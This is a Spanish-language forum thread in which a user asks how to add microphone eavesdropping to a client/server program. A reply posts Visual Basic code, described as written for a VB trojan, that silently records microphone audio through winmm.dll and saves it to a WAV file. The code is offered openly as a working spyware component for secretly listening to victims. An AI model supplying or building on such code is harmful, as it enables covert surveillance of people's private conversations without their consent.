Enviar El sonido del micrófono a través de un Cliente/Servidor???

[WarGhost]

Este es mi primer post en esta comunidad y me gustaría dar un saludo a todos los usuarios.

Vamos con el tema en concreto, estoy haciendo un Cliente/Servidor y me gustaría ponerle la Función de Espiar el sonido del micrófono, pero no tengo ni idea, Alguien me podría echar una mano por favor?


Salu2, WarGhost

[Sancho.Mazorka]

oye man yo tengo hecho un programa asi yo te agrego y despues por msn te lo paso.



Sancho.Mazorka    

[BenRu]

Este code lo aporto kizar a la creacion del troyano en vb.

Código [Seleccionar] Expandir

'Declaraciones
Private Declare Function mciSendString Lib "winmm.dll" Alias "mciSendStringA" (ByVal lpstrCommand As String, ByVal lpstrReturnString As String, ByVal uReturnLength As Long, ByVal hwndCallback As Long) As Long
Dim Result&
Dim ReturnString As String * 1024

'En un procedimiento

'Abrimos
Result& = mciSendString("open new type waveaudio alias mysound", ReturnString, 1024, 0)
'Ponemos el formato del sonido
Result& = mciSendString("set mysound time format ms bitspersample 8 samplespersec 11025", ReturnString, 1024, 0)
'Grabamos sonido del microfono (tiempo en milisegundos)
Result& = mciSendString("record mysound to 10000", ReturnString, 1024, 0)

'Teneis k poner un code k haga que el programa espere a k pasen los milisegundos indicados antes

'Guardamos el sonido en un archivo .wav
Result& = mciSendString("save mysound C:\las.wav", ReturnString, Len(ReturnString), 0)
'Cerramos
Result& = mciSendString("close mysound", ReturnString, 1024, 0)


Un saludo

[WarGhost]

Ok, Muchas gracias a todos ya me a quedado mas claro.


Salu2, WarGhost